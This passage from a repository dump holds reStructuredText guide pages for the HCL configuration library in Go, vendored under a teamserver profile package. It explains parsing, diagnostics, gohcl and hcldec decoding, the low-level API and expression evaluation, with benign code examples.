    "content": "Using HCL in a Go application\n=============================\n\nHCL is itself written in Go_ and currently it is primarily intended for use as\na library within other Go programs.\n\nThis section describes a number of different ways HCL can be used to define\nand process a configuration language within a Go program. For simple situations,\nHCL can decode directly into Go ``struct`` values in a similar way as encoding\npackages such as ``encoding/json`` and ``encoding/xml``.\n\nThe HCL Go API also offers some alternative approaches however, for processing\nlanguages that may be more complex or that include portions whose expected\nstructure cannot be determined until runtime.\n\nThe following sections give an overview of different ways HCL can be used in\na Go program.\n\n.. toctree::\n   :maxdepth: 1\n   :caption: Sub-sections:\n\n   go_parsing\n   go_diagnostics\n   go_decoding_gohcl\n   go_decoding_hcldec\n   go_expression_eval\n   go_decoding_lowlevel\n   go_patterns\n\n.. _Go: https://golang.org/\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/go_decoding_gohcl.rst",
    "content": ".. go:package:: gohcl\n\n.. _go-decoding-gohcl:\n\nDecoding Into Native Go Values\n==============================\n\nThe most straightforward way to access the content of an HCL file is to\ndecode into native Go values using ``reflect``, similar to the technique used\nby packages like ``encoding/json`` and ``encoding/xml``.\n\nPackage ``gohcl`` provides functions for this sort of decoding. Function\n``DecodeBody`` attempts to extract values from an HCL *body* and write them\ninto a Go value given as a pointer:\n\n.. code-block:: go\n\n   type ServiceConfig struct {\n     Type       string `hcl:\"type,label\"`\n     Name       string `hcl:\"name,label\"`\n     ListenAddr string `hcl:\"listen_addr\"`\n   }\n   type Config struct {\n     IOMode   string          `hcl:\"io_mode\"`\n     Services []ServiceConfig `hcl:\"service,block\"`\n   }\n\n   var c Config\n   moreDiags := gohcl.DecodeBody(f.Body, nil, &c)\n   diags = append(diags, moreDiags...)\n\nThe above example decodes the *root body* of a file ``f``, presumably loaded\npreviously using a parser, into the variable ``c``. The field labels within\nthe struct types imply the schema of the expected language, which is a cut-down\nversion of the hypothetical language we showed in :ref:`intro`.\n\nThe struct field labels consist of two comma-separated values. The first is\nthe name of the corresponding argument or block type as it will appear in\nthe input file, and the second is the type of element being named. If the\nsecond value is omitted, it defaults to ``attr``, requesting an attribute.\n\nNested blocks are represented by a struct or a slice of that struct, and the\nspecial element type ``label`` within that struct declares that each instance\nof that block type must be followed by one or more block labels. In the above\nexample, the ``service`` block type is defined to require two labels, named\n``type`` and ``name``. For label fields in particular, the given name is used\nonly to refer to the particular label in error messages when the wrong number\nof labels is used.\n\nBy default, all declared attributes and blocks are considered to be required.\nAn optional value is indicated by making its field have a pointer type, in\nwhich case ``nil`` is written to indicate the absence of the argument.\n\nThe sections below discuss some additional decoding use-cases. For full details\non the `gohcl` package, see\n`the godoc reference <https://godoc.org/Havoc/pkg/profile/yaotl/gohcl>`_.\n\n.. _go-decoding-gohcl-evalcontext:\n\nVariables and Functions\n-----------------------\n\nBy default, arguments given in the configuration may use only literal values\nand the built in expression language operators, such as arithmetic.\n\nThe second argument to ``gohcl.DecodeBody``, shown as ``nil`` in the previous\nexample, allows the calling application to additionally offer variables and\nfunctions for use in expressions. Its value is a pointer to an\n``hcl.EvalContext``, which will be covered in more detail in the later section\n:ref:`go-expression-eval`. For now, a simple example of making the id of the\ncurrent process available as a single variable called ``pid``:\n\n.. code-block:: go\n\n   type Context struct {\n       Pid string\n   }\n   ctx := gohcl.EvalContext(&Context{\n       Pid: os.Getpid()\n   })\n   var c Config\n   moreDiags := gohcl.DecodeBody(f.Body, ctx, &c)\n   diags = append(diags, moreDiags...)\n\n``gohcl.EvalContext`` constructs an expression evaluation context from a Go\nstruct value, making the fields available as variables and the methods\navailable as functions, after transforming the field and method names such\nthat each word (starting with an uppercase letter) is all lowercase and\nseparated by underscores.\n\n.. code-block:: hcl\n\n   name = \"example-program (${pid})\"\n\nPartial Decoding\n----------------\n\nIn the examples so far, we've extracted the content from the entire input file\nin a single call to ``DecodeBody``. This is sufficient for many simple\nsituations, but sometimes different parts of the file must be evaluated\nseparately. For example:\n\n* If different parts of the file must be evaluated with different variables\n  or functions available.\n\n* If the result of evaluating one part of the file is used to set variables\n  or functions in another part of the file.\n\nThere are several ways to perform partial decoding with ``gohcl``, all of\nwhich involve decoding into HCL's own types, such as ``hcl.Body``.\n\nThe most general approach is to declare an additional struct field of type\n``hcl.Body``, with the special field tag type ``remain``:\n\n.. code-block:: go\n\n   type ServiceConfig struct {\n     Type       string   `hcl:\"type,label\"`\n     Name       string   `hcl:\"name,label\"`\n     ListenAddr string   `hcl:\"listen_addr\"`\n     Remain     hcl.Body `hcl:\",remain\"`\n   }\n\nWhen a ``remain`` field is present, any element of the input body that is\nnot matched is retained in a body saved into that field, which can then be\ndecoded in a later call, potentially with a different evaluation context.\n\nAnother option is to decode an attribute into a value of type `hcl.Expression`,\nwhich can then be evaluated separately as described in\n:ref:`expression-eval`.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/go_decoding_hcldec.rst",
    "content": ".. go:package:: hcldec\n\n.. _go-decoding-hcldec:\n\nDecoding With Dynamic Schema\n============================\n\nIn section :ref:`go-decoding-gohcl`, we saw the most straightforward way to\naccess the content from an HCL file, decoding directly into a Go value whose\ntype is known at application compile time.\n\nFor some applications, it is not possible to know the schema of the entire\nconfiguration when the application is built. For example, `HashiCorp Terraform`_\nuses HCL as the foundation of its configuration language, but parts of the\nconfiguration are handled by plugins loaded dynamically at runtime, and so\nthe schemas for these portions cannot be encoded directly in the Terraform\nsource code.\n\nHCL's ``hcldec`` package offers a different approach to decoding that allows\nschemas to be created at runtime, and the result to be decoded into\ndynamically-typed data structures.\n\nThe sections below are an overview of the main parts of package ``hcldec``.\nFor full details, see\n`the package godoc <https://godoc.org/Havoc/pkg/profile/yaotl/hcldec>`_.\n\n.. _`HashiCorp Terraform`: https://www.terraform.io/\n\nDecoder Specification\n---------------------\n\nWhereas :go:pkg:`gohcl` infers the expected schema by using reflection against\nthe given value, ``hcldec`` obtains schema through a decoding *specification*,\nwhich is a set of instructions for mapping HCL constructs onto a dynamic\ndata structure.\n\nThe ``hcldec`` package contains a number of different specifications, each\nimplementing :go:type:`hcldec.Spec` and having a ``Spec`` suffix on its name.\nEach spec has two distinct functions:\n\n* Adding zero or more validation constraints on the input configuration file.\n\n* Producing a result value based on some elements from the input file.\n\nThe most common pattern is for the top-level spec to be a\n:go:type:`hcldec.ObjectSpec` with nested specifications defining either blocks\nor attributes, depending on whether the configuration file will be\nblock-structured or flat.\n\n.. code-block:: go\n\n  spec := hcldec.ObjectSpec{\n      \"io_mode\": &hcldec.AttrSpec{\n          Name: \"io_mode\",\n          Type: cty.String,\n      },\n      \"services\": &hcldec.BlockMapSpec{\n          TypeName:   \"service\",\n          LabelNames: []string{\"type\", \"name\"},\n          Nested:     hcldec.ObjectSpec{\n              \"listen_addr\": &hcldec.AttrSpec{\n                  Name:     \"listen_addr\",\n                  Type:     cty.String,\n                  Required: true,\n              },\n              \"processes\": &hcldec.BlockMapSpec{\n                  TypeName:   \"service\",\n                  LabelNames: []string{\"name\"},\n                  Nested:     hcldec.ObjectSpec{\n                      \"command\": &hcldec.AttrSpec{\n                          Name:     \"command\",\n                          Type:     cty.List(cty.String),\n                          Required: true,\n                      },\n                  },\n              },\n          },\n      },\n  }\n  val, moreDiags := hcldec.Decode(f.Body, spec, nil)\n  diags = append(diags, moreDiags...)\n\nThe above specification expects a configuration shaped like our example in\n:ref:`intro`, and calls for it to be decoded into a dynamic data structure\nthat would have the following shape if serialized to JSON:\n\n.. code-block:: JSON\n\n  {\n    \"io_mode\": \"async\",\n    \"services\": {\n      \"http\": {\n        \"web_proxy\": {\n          \"listen_addr\": \"127.0.0.1:8080\",\n          \"processes\": {\n            \"main\": {\n              \"command\": [\"/usr/local/bin/awesome-app\", \"server\"]\n            },\n            \"mgmt\": {\n              \"command\": [\"/usr/local/bin/awesome-app\", \"mgmt\"]\n            }\n          }\n        }\n      }\n    }\n  }\n\n.. go:package:: cty\n\nTypes and Values With ``cty``\n-----------------------------\n\nHCL's expression interpreter is implemented in terms of another library called\n:go:pkg:`cty`, which provides a type system which HCL builds on and a robust\nrepresentation of dynamic values in that type system. You could think of\n:go:pkg:`cty` as being a bit like Go's own :go:pkg:`reflect`, but for the\nresults of HCL expressions rather than Go programs.\n\nThe full details of this system can be found in\n`its own repository <https://github.com/zclconf/go-cty>`_, but this section\nwill cover the most important highlights, because ``hcldec`` specifications\ninclude :go:pkg:`cty` types (as seen in the above example) and its results are\n:go:pkg:`cty` values.\n\n``hcldec`` works directly with :go:pkg:`cty` — as opposed to converting values\ndirectly into Go native types — because the functionality of the :go:pkg:`cty`\npackages then allows further processing of those values without any loss of\nfidelity or range. For example, :go:pkg:`cty` defines a JSON encoding of its\nvalues that can be decoded losslessly as long as both sides agree on the value\ntype that is expected, which is a useful capability in systems where some sort\nof RPC barrier separates the main program from its plugins.\n\nTypes are instances of :go:type:`cty.Type`, and are constructed from functions\nand variables in :go:pkg:`cty` as shown in the above example, where the string\nattributes are typed as ``cty.String``, which is a primitive type, and the list\nattribute is typed as ``cty.List(cty.String)``, which constructs a new list\ntype with string elements.\n\nValues are instances of :go:type:`cty.Value`, and can also be constructed from\nfunctions in :go:pkg:`cty`, using the functions that include ``Val`` in their\nnames or using the operation methods available on :go:type:`cty.Value`.\n\nIn most cases you will eventually want to use the resulting data as native Go\ntypes, to pass it to non-:go:pkg:`cty`-aware code. To do this, see the guides\non\n`Converting between types <https://github.com/zclconf/go-cty/blob/master/docs/convert.md>`_\n(staying within :go:pkg:`cty`) and\n`Converting to and from native Go values <https://github.com/zclconf/go-cty/blob/master/docs/gocty.md>`_.\n\nPartial Decoding\n----------------\n\nBecause the ``hcldec`` result is always a value, the input is always entirely\nprocessed in a single call, unlike with :go:pkg:`gohcl`.\n\nHowever, both :go:pkg:`gohcl` and :go:pkg:`hcldec` take :go:type:`hcl.Body` as\nthe representation of input, and so it is possible and common to mix them both\nin the same program.\n\nA common situation is that :go:pkg:`gohcl` is used in the main program to\ndecode the top level of configuration, which then allows the main program to\ndetermine which plugins need to be loaded to process the leaf portions of\nconfiguration. In this case, the portions that will be interpreted by plugins\nare retained as opaque :go:type:`hcl.Body` until the plugins have been loaded,\nand then each plugin provides its :go:type:`hcldec.Spec` to allow decoding the\nplugin-specific configuration into a :go:type:`cty.Value` which be\ntransmitted to the plugin for further processing.\n\nIn our example from :ref:`intro`, perhaps each of the different service types\nis managed by a plugin, and so the main program would decode the block headers\nto learn which plugins are needed, but process the block bodies dynamically:\n\n.. code-block:: go\n\n   type ServiceConfig struct {\n     Type         string   `hcl:\"type,label\"`\n     Name         string   `hcl:\"name,label\"`\n     PluginConfig hcl.Body `hcl:\",remain\"`\n   }\n   type Config struct {\n     IOMode   string          `hcl:\"io_mode\"`\n     Services []ServiceConfig `hcl:\"service,block\"`\n   }\n\n   var c Config\n   moreDiags := gohcl.DecodeBody(f.Body, nil, &c)\n   diags = append(diags, moreDiags...)\n   if moreDiags.HasErrors() {\n       // (show diags in the UI)\n       return\n   }\n\n   for _, sc := range c.Services {\n       pluginName := block.Type\n\n       // Totally-hypothetical plugin manager (not part of HCL)\n       plugin, err := pluginMgr.GetPlugin(pluginName)\n       if err != nil {\n           diags = diags.Append(&hcl.Diagnostic{ /* ... */ })\n           continue\n       }\n       spec := plugin.ConfigSpec() // returns hcldec.Spec\n\n       // Decode the block body using the plugin's given specification\n       configVal, moreDiags := hcldec.Decode(sc.PluginConfig, spec, nil)\n       diags = append(diags, moreDiags...)\n       if moreDiags.HasErrors() {\n           continue\n       }\n\n       // Again, hypothetical API within your application itself, and not\n       // part of HCL. Perhaps plugin system serializes configVal as JSON\n       // and sends it over to the plugin.\n       svc := plugin.NewService(configVal)\n       serviceMgr.AddService(sc.Name, svc)\n   }\n\n\nVariables and Functions\n-----------------------\n\nThe final argument to ``hcldec.Decode`` is an expression evaluation context,\njust as with ``gohcl.DecodeBlock``.\n\nThis object can be constructed using\n:ref:`the gohcl helper function <go-decoding-gohcl-evalcontext>` as before if desired, but\nyou can also choose to work directly with :go:type:`hcl.EvalContext` as\ndiscussed in :ref:`go-expression-eval`:\n\n.. code-block:: go\n\n   ctx := &hcl.EvalContext{\n       Variables: map[string]cty.Value{\n           \"pid\": cty.NumberIntVal(int64(os.Getpid())),\n       },\n   }\n  val, moreDiags := hcldec.Decode(f.Body, spec, ctx)\n  diags = append(diags, moreDiags...)\n\nAs you can see, this lower-level API also uses :go:pkg:`cty`, so it can be\nparticularly convenient in situations where the result of dynamically decoding\none block must be available to expressions in another block.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/go_decoding_lowlevel.rst",
    "content": ".. _go-decoding-lowlevel:\n\nAdvanced Decoding With The Low-level API\n========================================\n\nIn previous sections we've discussed :go:pkg:`gohcl` and :go:pkg:`hcldec`,\nwhich both deal with decoding of HCL bodies and the expressions within them\nusing a high-level description of the expected configuration schema.\nBoth of these packages are implemented in terms of HCL's low-level decoding\ninterfaces, which we will explore in this section.\n\nHCL decoding in the low-level API has two distinct phases:\n\n* Structural decoding: analyzing the arguments and nested blocks present in a\n  particular body.\n\n* Expression evaluation: obtaining final values for each argument expression\n  found during structural decoding.\n\nThe low-level API gives the calling application full control over when each\nbody is decoded and when each expression is evaluated, allowing for more\ncomplex configuration formats where e.g. different variables are available in\ndifferent contexts, or perhaps expressions within one block can refer to\nvalues defined in another block.\n\nThe low-level API also gives more detailed access to source location\ninformation for decoded elements, and so may be desirable for applications that\ndo a lot of additional validation of decoded data where more specific source\nlocations lead to better diagnostic messages.\n\nSince all of the decoding mechanisms work with the same :go:type:`hcl.Body`\ntype, it is fine and expected to mix them within an application to get access\nto the more detailed information where needed while using the higher-level APIs\nfor the more straightforward portions of a configuration language.\n\nThe following subsections will give an overview of the low-level API. For full\ndetails, see `the godoc reference <https://godoc.org/Havoc/pkg/profile/yaotl/hcl>`_.\n\nStructural Decoding\n-------------------\n\nAs seen in prior sections, :go:type:`hcl.Body` is an opaque representation of\nthe arguments and child blocks at a particular nesting level. An HCL file has\na root body containing the top-level elements, and then each nested block has\nits own body presenting its own content.\n\n:go:type:`hcl.Body` is a Go interface whose methods serve as the structural\ndecoding API:\n\n.. go:currentpackage:: hcl\n\n.. go:type:: Body\n\n   Represents the structural elements at a particular nesting level.\n\n   .. go:function:: func (b Body) Content(schema *BodySchema) (*BodyContent, Diagnostics)\n\n      Decode the content from the receiving body using the given schema. The\n      schema is considered exhaustive of all content within the body, and so\n      any elements not covered by the schema will generate error diagnostics.\n\n   .. go:function:: func (b Body) PartialContent(schema *BodySchema) (*BodyContent, Body, Diagnostics)\n\n      Similar to `Content`, but allows for additional arguments and block types\n      that are not described in the given schema. The additional body return\n      value is a special body that contains only the *remaining* elements, after\n      extraction of the ones covered by the schema. This returned body can be\n      used to decode the remaining content elsewhere in the calling program.\n\n   .. go:function:: func (b Body) JustAttributes() (Attributes, Diagnostics)\n\n      Decode the content from the receiving body in a special *attributes-only*\n      mode, allowing the calling application to enumerate the arguments given\n      inside the body without needing to predict them in schema.\n\n      When this method is used, a body can be treated somewhat like a map\n      expression, but it still has a rigid structure where the arguments must\n      be given directly with no expression evaluation. This is an advantage for\n      declarations that must themselves be resolved before expression\n      evaluation is possible.\n\n      If the body contains any blocks, error diagnostics are returned. JSON\n      syntax relies on schema to distinguish arguments from nested blocks, and\n      so a JSON body in attributes-only mode will treat all JSON object\n      properties as arguments.\n\n   .. go:function:: func (b Body) MissingItemRange() Range\n\n      Returns a source range that points to where an absent required item in\n      the body might be placed. This is a \"best effort\" sort of thing, required\n      only to be somewhere inside the receiving body, as a way to give source\n      location information for a \"missing required argument\" sort of error.\n\nThe main content-decoding methods each require a :go:type:`hcl.BodySchema`\nobject describing the expected content. The fields of this type describe the\nexpected arguments and nested block types respectively:\n\n.. code-block:: go\n\n   schema := &hcl.BodySchema{\n       Attributes: []hcl.AttributeSchema{\n           {\n               Name:     \"io_mode\",\n               Required: false,\n           },\n       },\n       Blocks: []hcl.BlockHeaderSchema{\n           {\n               Type:       \"service\",\n               LabelNames: []string{\"type\", \"name\"},\n           },\n       },\n   }\n   content, moreDiags := body.Content(schema)\n   diags = append(diags, moreDiags...)\n\n:go:type:`hcl.BodyContent` is the result of both ``Content`` and\n``PartialContent``, giving the actual attributes and nested blocks that were\nfound. Since arguments are uniquely named within a body and unordered, they\nare returned as a map. Nested blocks are ordered and may have many instances\nof a given type, so they are returned all together in a single slice for\nfurther interpretation by the caller.\n\nUnlike the two higher-level approaches, the low-level API *always* works only\nwith one nesting level at a time. Decoding a nested block returns the \"header\"\nfor that block, giving its type and label values, but its body remains an\n:go:type:`hcl.Body` for later decoding.\n\nEach returned attribute corresponds to one of the arguments in the body, and\nit has an :go:type:`hcl.Expression` object that can be used to obtain a value\nfor the argument during expression evaluation, as described in the next\nsection.\n\nExpression Evaluation\n---------------------\n\nExpression evaluation *in general* has its own section, imaginitively titled\n:ref:`go-expression-eval`, so this section will focus only on how it is\nachieved in the low-level API.\n\nAll expression evaluation in the low-level API starts with an\n:go:type:`hcl.Expression` object. This is another interface type, with various\nimplementations depending on the expression type and the syntax it was parsed\nfrom.\n\n.. go:currentpackage:: hcl\n\n.. go:type:: Expression\n\n   Represents a unevaluated single expression.\n\n   .. go:function:: func (e Expression) Value(ctx *EvalContext) (cty.Value, Diagnostics)\n\n      Evaluates the receiving expression in the given evaluation context. The\n      result is a :go:type:`cty.Value` representing the result value, along\n      with any diagnostics that were raised during evaluation.\n\n      If the diagnostics contains errors, the value may be incomplete or\n      invalid and should either be discarded altogether or used with care for\n      analysis.\n\n   .. go:function:: func (e Expression) Variables() []Traversal\n\n      Returns information about any nested expressions that access variables\n      from the *global* evaluation context. Does not include references to\n      temporary local variables, such as those generated by a\n      \"``for`` expression\".\n\n   .. go:function:: func (e Expression) Range() Range\n\n      Returns the source range for the entire expression. This can be useful\n      when generating application-specific diagnostic messages, such as\n      value validation errors.\n\n   .. go:function:: func (e Expression) StartRange() Range\n\n      Similar to ``Range``, but if the expression is complex, such as a tuple\n      or object constructor, may indicate only the opening tokens for the\n      construct to avoid creating an overwhelming source code snippet.\n\n      This should be used in diagnostic messages only in situations where the\n      error is clearly with the construct itself and not with the overall\n      expression. For example, a type error indicating that a tuple was not\n      expected might use ``StartRange`` to draw attention to the beginning\n      of a tuple constructor, without highlighting the entire expression.\n\nMethod ``Value`` is the primary API for expressions, and takes the same kind\nof evaluation context object described in :ref:`go-expression-eval`.\n\n.. code-block:: go\n\n   ctx := &hcl.EvalContext{\n        Variables: map[string]cty.Value{\n            \"name\": cty.StringVal(\"Ermintrude\"),\n            \"age\":  cty.NumberIntVal(32),\n        },\n   }\n   val, moreDiags := expr.Value(ctx)\n   diags = append(diags, moreDiags...)\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/go_diagnostics.rst",
    "content": ".. _go-diagnostics:\n\nDiagnostic Messages\n===================\n\nAn important concern for any machine language intended for human authoring is\nto produce good error messages when the input is somehow invalid, or has\nother problems.\n\nHCL uses *diagnostics* to describe problems in an end-user-oriented manner,\nsuch that the calling application can render helpful error or warning messages.\nThe word \"diagnostic\" is a general term that covers both errors and warnings,\nwhere errors are problems that prevent complete processing while warnings are\npossible concerns that do not block processing.\n\nHCL deviates from usual Go API practice by returning its own ``hcl.Diagnostics``\ntype, instead of Go's own ``error`` type. This allows functions to return\nwarnings without accompanying errors while not violating the usual expectation\nthat the absence of errors is indicated by a nil ``error``.\n\nIn order to easily accumulate and return multiple diagnostics at once, the\nusual pattern for functions returning diagnostics is to gather them in a\nlocal variable and then return it at the end of the function, or possibly\nearlier if the function cannot continue due to the problems.\n\n.. code-block:: go\n\n  func returningDiagnosticsExample() hcl.Diagnostics {\n      var diags hcl.Diagnostics\n\n      // ...\n\n      // Call a function that may itself produce diagnostics.\n      f, moreDiags := parser.LoadHCLFile(\"example.conf\")\n      // always append, in case warnings are present\n      diags = append(diags, moreDiags...)\n      if diags.HasErrors() {\n        // If we can't safely continue in the presence of errors here, we\n        // can optionally return early.\n        return diags\n      }\n\n      // ...\n\n      return diags\n  }\n\nA common variant of the above pattern is calling another diagnostics-generating\nfunction in a loop, using ``continue`` to begin the next iteration when errors\nare detected, but still completing all iterations and returning the union of\nall of the problems encountered along the way.\n\nIn :ref:`go-parsing`, we saw that the parser can generate diagnostics which\nare related to syntax problems within the loaded file. Further steps to decode\ncontent from the loaded file can also generate diagnostics related to *semantic*\nproblems within the file, such as invalid expressions or type mismatches, and\nso a program using HCL will generally need to accumulate diagnostics across\nthese various steps and then render them in the application UI somehow.\n\nRendering Diagnostics in the UI\n-------------------------------\n\nThe best way to render diagnostics to an end-user will depend a lot on the\ntype of application: they might be printed into a terminal, written into a\nlog for later review, or even shown in a GUI.\n\nHCL leaves the responsibility for rendering diagnostics to the calling\napplication, but since rendering to a terminal is a common case for command-line\ntools, the `hcl` package contains a default implementation of this in the\nform of a \"diagnostic text writer\":\n\n.. code-block:: go\n\n   wr := hcl.NewDiagnosticTextWriter(\n       os.Stdout,      // writer to send messages to\n       parser.Files(), // the parser's file cache, for source snippets\n       78,             // wrapping width\n       true,           // generate colored/highlighted output\n   )\n   wr.WriteDiagnostics(diags)\n\nThis default implementation of diagnostic rendering includes relevant lines\nof source code for context, like this:\n\n::\n\n  Error: Unsupported block type\n\n    on example.tf line 4, in resource \"aws_instance\" \"example\":\n     2: provisionr \"local-exec\" {\n\n  Blocks of type \"provisionr\" are not expected here. Did you mean \"provisioner\"?\n\nIf the \"color\" flag is enabled, the severity will be additionally indicated by\na text color and the relevant portion of the source code snippet will be\nunderlined to draw further attention.\n\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/go_expression_eval.rst",
    "content": ".. _go-expression-eval:\n\nExpression Evaluation\n=====================\n\nEach argument attribute in a configuration file is interpreted as an\nexpression. In the HCL native syntax, certain basic expression functionality\nis always available, such as arithmetic and template strings, and the calling\napplication can extend this by making available specific variables and/or\nfunctions via an *evaluation context*.\n\nWe saw in :ref:`go-decoding-gohcl` and :ref:`go-decoding-hcldec` some basic\nexamples of populating an evaluation context to make a variable available.\nThis section will look more closely at the ``hcl.EvalContext`` type and how\nHCL expression evaluation behaves in different cases.\n\nThis section does not discuss in detail the expression syntax itself. For more\ninformation on that, see the HCL Native Syntax specification.\n\n.. go:currentpackage:: hcl\n\n.. go:type:: EvalContext\n\n   ``hcl.EvalContext`` is the type used to describe the variables and functions\n   available during expression evaluation, if any. Its usage is described in\n   the following sections.\n\nDefining Variables\n------------------\n\nAs we saw in :ref:`go-decoding-hcldec`, HCL represents values using an\nunderlying library called :go:pkg:`cty`. When defining variables, their values\nmust be given as :go:type:`cty.Value` values.\n\nA full description of the types and value constructors in :go:pkg:`cty` is\nin `the reference documentation <https://github.com/zclconf/go-cty/blob/master/docs/types.md>`_.\nVariables in HCL are defined by assigning values into a map from string names\nto :go:type:`cty.Value`:\n\n.. code-block:: go\n\n   ctx := &hcl.EvalContext{\n        Variables: map[string]cty.Value{\n            \"name\": cty.StringVal(\"Ermintrude\"),\n            \"age\":  cty.NumberIntVal(32),\n        },\n   }\n\nIf this evaluation context were passed to one of the evaluation functions we\nsaw in previous sections, the user would be able to refer to these variable\nnames in any argument expression appearing in the evaluated portion of\nconfiguration:\n\n.. code-block:: hcl\n\n   message = \"${name} is ${age} ${age == 1 ? \"year\" : \"years\"} old!\"\n\nIf you place ``cty``'s *object* values in the evaluation context, then their\nattributes can be referenced using the HCL attribute syntax, allowing for more\ncomplex structures:\n\n.. code-block:: go\n\n   ctx := &hcl.EvalContext{\n        Variables: map[string]cty.Value{\n            \"path\": cty.ObjectVal(map[string]cty.Value{\n                \"root\":    cty.StringVal(rootDir),\n                \"module\":  cty.StringVal(moduleDir),\n                \"current\": cty.StringVal(currentDir),\n            }),\n        },\n   }\n\n.. code-block:: hcl\n\n   source_file = \"${path.module}/foo.txt\"\n\n.. _go-expression-funcs:\n\nDefining Functions\n------------------\n\nCustom functions can be defined by you application to allow users of its\nlanguage to transform data in application-specific ways. The underlying\nfunction mechanism is also provided by :go:pkg:`cty`, allowing you to define\nthe arguments a given function expects, what value type it will return for\ngiven argument types, etc. The full functions model is described in the\n``cty`` documentation section\n`Functions System <https://github.com/zclconf/go-cty/blob/master/docs/functions.md>`_.\n\nThere are `a number of \"standard library\" functions <https://godoc.org/github.com/apparentlymart/go-cty/cty/function/stdlib>`_\navailable in a ``stdlib`` package within the :go:pkg:`cty` repository, avoiding\nthe need for each application to re-implement basic functions for string\nmanipulation, list manipulation, etc. It also includes function-shaped versions\nof several operations that are native operators in HCL, which should generally\n*not* be exposed as functions in HCL-based configuration formats to avoid user\nconfusion.\n\nYou can define functions in the ``Functions`` field of :go:type:`hcl.EvalContext`:\n\n.. code-block:: go\n\n   ctx := &hcl.EvalContext{\n        Variables: map[string]cty.Value{\n            \"name\": cty.StringVal(\"Ermintrude\"),\n        },\n        Functions: map[string]function.Function{\n            \"upper\":  stdlib.UpperFunc,\n            \"lower\":  stdlib.LowerFunc,\n            \"min\":    stdlib.MinFunc,\n            \"max\":    stdlib.MaxFunc,\n            \"strlen\": stdlib.StrlenFunc,\n            \"substr\": stdlib.SubstrFunc,\n        },\n   }\n\nIf this evaluation context were passed to one of the evaluation functions we\nsaw in previous sections, the user would be able to call any of these functions\nin any argument expression appearing in the evaluated portion of configuration:\n\n.. code-block:: hcl\n\n   message = \"HELLO, ${upper(name)}!\"\n\nExpression Evaluation Modes\n---------------------------\n\nHCL uses a different expression evaluation mode depending on the evaluation\ncontext provided. In HCL native syntax, evaluation modes are used to provide\nmore relevant error messages. In JSON syntax, which embeds the native\nexpression syntax in strings using \"template\" syntax, the evaluation mode\ndetermines whether strings are evaluated as templates at all.\n\nIf the given :go:type:`hcl.EvalContext` is ``nil``, native syntax expressions\nwill react to users attempting to refer to variables or functions by producing\nerrors indicating that these features are not available at all, rather than\nby saying that the specific variable or function does not exist. JSON syntax\nstrings will not be evaluated as templates *at all* in this mode, making them\nfunction as literal strings.\n\nIf the evaluation context is non-``nil`` but either ``Variables`` or\n``Functions`` within it is ``nil``, native syntax will similarly produce\n\"not supported\" error messages. JSON syntax strings *will* parse templates\nin this case, but can also generate \"not supported\" messages if e.g. the\nuser accesses a variable when the variables map is ``nil``.\n\nIf neither map is ``nil``, HCL assumes that both variables and functions are\nsupported and will instead produce error messages stating that the specific\nvariable or function accessed by the user is not defined.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/go_parsing.rst",
    "content": ".. _go-parsing:\n\nParsing HCL Input\n=================\n\nThe first step in processing HCL input provided by a user is to parse it.\nParsing turns the raw bytes from an input file into a higher-level\nrepresentation of the arguments and blocks, ready to be *decoded* into an\napplication-specific form.\n\nThe main entry point into HCL parsing is :go:pkg:`hclparse`, which provides\n:go:type:`hclparse.Parser`:\n\n.. code-block:: go\n\n  parser := hclparse.NewParser()\n  f, diags := parser.ParseHCLFile(\"server.conf\")\n\nVariable ``f`` is then a pointer to an :go:type:`hcl.File`, which is an\nopaque abstract representation of the file, ready to be decoded.\n\nVariable ``diags`` describes any errors or warnings that were encountered\nduring processing; HCL conventionally uses this in place of the usual ``error``\nreturn value in Go, to allow returning a mixture of multiple errors and\nwarnings together with enough information to present good error messages to the\nuser. We'll cover this in more detail in the next section,\n:ref:`go-diagnostics`.\n\n.. go:package:: hclparse\n\nPackage ``hclparse``\n--------------------\n\n.. go:type:: Parser\n\n  .. go:function:: func NewParser() *Parser\n\n      Constructs a new parser object. Each parser contains a cache of files\n      that have already been read, so repeated calls to load the same file\n      will return the same object.\n\n  .. go:function:: func (*Parser) ParseHCL(src []byte, filename string) (*hcl.File, hcl.Diagnostics)\n\n     Parse the given source code as HCL native syntax, saving the result into\n     the parser's file cache under the given filename.\n\n  .. go:function:: func (*Parser) ParseHCLFile(filename string) (*hcl.File, hcl.Diagnostics)\n\n     Parse the contents of the given file as HCL native syntax. This is a\n     convenience wrapper around ParseHCL that first reads the file into memory.\n\n  .. go:function:: func (*Parser) ParseJSON(src []byte, filename string) (*hcl.File, hcl.Diagnostics)\n\n     Parse the given source code as JSON syntax, saving the result into\n     the parser's file cache under the given filename.\n\n  .. go:function:: func (*Parser) ParseJSONFile(filename string) (*hcl.File, hcl.Diagnostics)\n\n     Parse the contents of the given file as JSON syntax. This is a\n     convenience wrapper around ParseJSON that first reads the file into memory.\n\nThe above list just highlights the main functions in this package.\nFor full documentation, see\n`the hclparse godoc <https://godoc.org/Havoc/pkg/profile/yaotl/hclparse>`_.\n"
  },
  {
    "path": "teamserver/pkg/profile/yaotl/guide/go_patterns.rst",
    "content": "Design Patterns for Complex Systems\n===================================\n\nIn previous sections we've seen an overview of some different ways an\napplication can decode a language its has defined in terms of the HCL grammar.\nFor many applications, those mechanisms are sufficient. However, there are\nsome more complex situations that can benefit from some additional techniques.\nThis section lists a few of these situations and ways to use the HCL API to\naccommodate them.\n\n.. _go-interdep-blocks:\n\nInterdependent Blocks\n---------------------\n\nIn some configuration languages, the variables available for use in one\nconfiguration block depend on values defined in other blocks.\n\nFor example, in Terraform many of the top-level constructs are also implicitly\ndefinitions of values that are available for use in expressions elsewhere:\n\n.. code-block:: hcl\n\n   variable \"network_numbers\" {\n     type = list(number)\n   }\n\n   variable \"base_network_addr\" {\n     type    = string\n     default = \"10.0.0.0/8\"\n   }\n\n   locals {\n     network_blocks = {\n       for x in var.number:\n       x => cidrsubnet(var.base_network_addr, 8, x)\n     }\n   }\n\n   resource \"cloud_subnet\" \"example\" {\n     for_each = local.network_blocks\n\n     cidr_block = each.value\n   }\n\n   output \"subnet_ids\" {\n     value = cloud_subnet.example[*].id\n   }\n\nIn this example, the ``variable \"network_numbers\"`` block makes\n``var.network_numbers`` available to expressions, the\n``resource \"cloud_subnet\" 